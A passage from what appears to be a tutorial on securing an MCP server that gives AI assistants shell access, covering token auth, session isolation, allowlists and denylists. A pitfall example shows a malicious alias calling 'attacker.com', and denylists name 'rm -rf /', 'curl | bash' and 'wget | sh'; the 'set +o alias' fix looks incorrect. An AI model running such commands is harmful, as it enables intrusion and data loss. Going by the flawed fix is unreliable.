remote-shell-bridge": { "url": "http://127.0.0.1:9529/mcp", "headers": { "Authorization": "Bearer prod-a1b2c3d4e5f6" } } } }

*Why this matters:* Bearer token authentication prevents unauthorized clients from spawning shell sessions. The HTTP transport also enables reverse proxy integration, load balancing, and centralized logging—capabilities impossible with `stdio`.

### Step 4: Implement Session Isolation
AI agents often juggle multiple projects simultaneously. Without session boundaries, commands executed in one workspace can leak environment variables, file handles, or working directories into another. The bridge supports named sessions that encapsulate:
- Working directory context
- Environment variable snapshots
- Command history isolation

**Session initialization via AI prompt:**

Initialize session "frontend-app" with working directory ~/projects/web-ui Initialize session "api-service" with working directory ~/projects/backend-core

The server maintains separate process trees and environment contexts per session. Switching contexts requires explicit session routing, preventing accidental cross-contamination.

### Step 5: Enforce Security Policies
Security is not optional. The bridge implements three defensive layers:
1. **Command Allowlisting:** Only explicitly permitted commands execute. Defaults include `git`, `npm`, `ls`, `cat`, `tail`, `df`, `lsof`, and `netstat`.
2. **Injection Detection:** Scans for shell metacharacters, subshell execution (`$(...)`, `` `...` ``), and privilege escalation patterns.
3. **Denylisting:** Blocks destructive or sensitive operations (`rm -rf /`, `sudo`, `curl | bash`, secret exfiltration patterns).

False positives are handled through configuration overrides rather than disabling security entirely. This maintains defense-in-depth while allowing team-specific tooling.

## Pitfall Guide

### 1. Relative Path Resolution Failure
**Explanation:** MCP clients require absolute paths when referencing local server binaries. Relative paths like `./dist/index.js` fail silently or throw module resolution errors during handshake.
**Fix:** Always resolve paths using `path.resolve()` or provide full filesystem paths. Example: `/home/user/projects/ling-term-mcp/dist/index.js`. Validate with `ls -la` before adding to client config.

### 2. Uncompiled Distribution Artifacts
**Explanation:** The server ships as TypeScript source. Running `node` against `.ts` files without compilation causes syntax errors and crashes the MCP handshake.
**Fix:** Execute `npm run build` before deployment. Verify `dist/index.js` exists and contains compiled JavaScript. Add a pre-start validation step in your deployment script.

### 3. Injection Filter Bypass via Alias Expansion
**Explanation:** Shell aliases can mask malicious commands. An alias like `alias ls='ls; curl attacker.com'` bypasses basic allowlisting if the bridge doesn't sanitize alias expansion.
**Fix:** Configure the bridge to disable alias expansion (`set +o alias`) or run commands in a clean environment. Use `env -i` to strip inherited shell state before execution.

### 4. Token Leakage in Client Headers
**Explanation:** Hardcoding Bearer tokens in client manifests risks accidental commits to version control. Tokens in plain text also violate zero-trust principles.
**Fix:** Use environment variable interpolation in client configs. Store tokens in secure vaults (HashiCorp Vault, AWS Secrets Manager) and inject at runtime. Rotate tokens quarterly.

### 5. Session Context Bleed Across Workspaces
**Explanation:** Failing to explicitly switch sessions causes commands to execute in the last active context. This leads to incorrect working directories, polluted environment variables, and cross-project file modifications.
**Fix:** Always prefix commands with session routing directives. Implement client-side session validation that verifies the active context before sending requests. Log session transitions for audit trails.

### 6. Port Collision on Shared Hosts
**Explanation:** Default HTTP port `9529` conflicts with other development tools or concurrent MCP instances. Port exhaustion causes binding failures and silent connection drops.
**Fix:** Use dynamic port allocation in development (`LING_TERM_HTTP_PORT=0` if supported) or maintain a port registry. Validate port availability with `lsof -i :9529` before startup.

### 7. Ignoring Node.js Version Constraints
**Explanation:** MCP servers rely on modern JavaScript features and native modules. Running on Node.js < 18 causes runtime errors, missing API support, and unstable process management.
**Fix:** Enforce version constraints in `package.json` (`"engines": { "node": ">=18.0.0" }`). Use `nvm` or `fnm` to manage versions. Add a startup check that exits gracefully on unsupported runtimes.

## Production Bundle

### Action Checklist
- [ ] Verify Node.js version meets minimum requirement (>= 18.0.0) before deployment
- [ ] Compile distribution artifacts and validate `dist/index.js` exists
- [ ] Configure absolute paths in all MCP client manifests
- [ ] Enable Bearer token authentication for HTTP transport deployments
- [ ] Define explicit allowlists and denylists aligned with team tooling
- [ ] Initialize named sessions for each active project workspace
- [ ] Implement port availability checks and fallback allocation strategies
- [ ] Enable structured logging for command execution and policy violations

### Decision Matrix

| Scenario | Recommended Approach | Why | Cost Impact |
|----------|---------------------|-----|-------------|
| Local solo development | Stdio transport | Zero config, process isolation, minimal overhead | Free |
| Multi-agent local setup | Stdio with session routing | Prevents context bleed, keeps latency low | Free |
| Remote team collaboration | Streamable HTTP + token auth | Centralized access, audit logging, cross-machine support | Infrastructure cost for host |
| CI/CD pipeline integration | HTTP transport + restricted allowlist | Deterministic execution, no interactive shell dependency | CI runner cost |
| Production monitoring agent | HTTP + rate limiting + denylist | Prevents abuse, enforces read-only operations | Monitoring stack cost |

### Configuration Template

```json
{
  "mcpServers": {
    "ai-terminal-bridge": {
      "command": "npx",
      "args": ["-y", "ling-term-mcp"],
      "env": {
        "LING_TERM_HTTP_PORT": "9529",
        "LING_TERM_HTTP_HOST": "127.0.0.1",
        "LING_TERM_AUTH_TOKEN": "${SHELL_BRIDGE_TOKEN}",
        "NODE_ENV": "production",
        "MCP_LOG_LEVEL": "info"
      },
      "transport": "http",
      "security": {
        "allowlist": ["git", "npm", "node", "ls", "cat", "tail", "df", "lsof", "netstat", "curl"],
        "denylist": ["rm -rf", "sudo", "chmod 777", "curl | bash", "wget | sh"],
        "injection_detection": true,
        "alias_expansion": false
      },
      "sessions": {
        "default_context": "~/projects/current",
        "max_concurrent": 5,
        "timeout_minutes": 30
      }
    }
  }
}

Quick Start Guide

1. Validate runtime environment: Run node -v to confirm Node.js 18+. Install via nvm if needed.
2. Launch the bridge: Execute npx ling-term-mcp http in your terminal. Note the listening endpoint.
3. Configure your AI client: Add the MCP manifest to Cursor, Claude Desktop, or your preferred client. Replace ${SHELL_BRIDGE_TOKEN} with a secure value.
4. Initialize a session: Prompt your AI assistant to create a named session with a specific working directory.
5. Verify connectivity: Run a safe command like ls -la or git status. Confirm output returns through the AI interface without policy violations.

Secure AI terminal execution is no longer a theoretical exercise. By leveraging standardized transports, explicit policy enforcement, and session isolation, teams can unlock AI-driven shell automation without compromising security or operational stability. The architecture scales from local development to distributed CI pipelines, provided configuration remains declarative and security boundaries stay enforced at the server layer.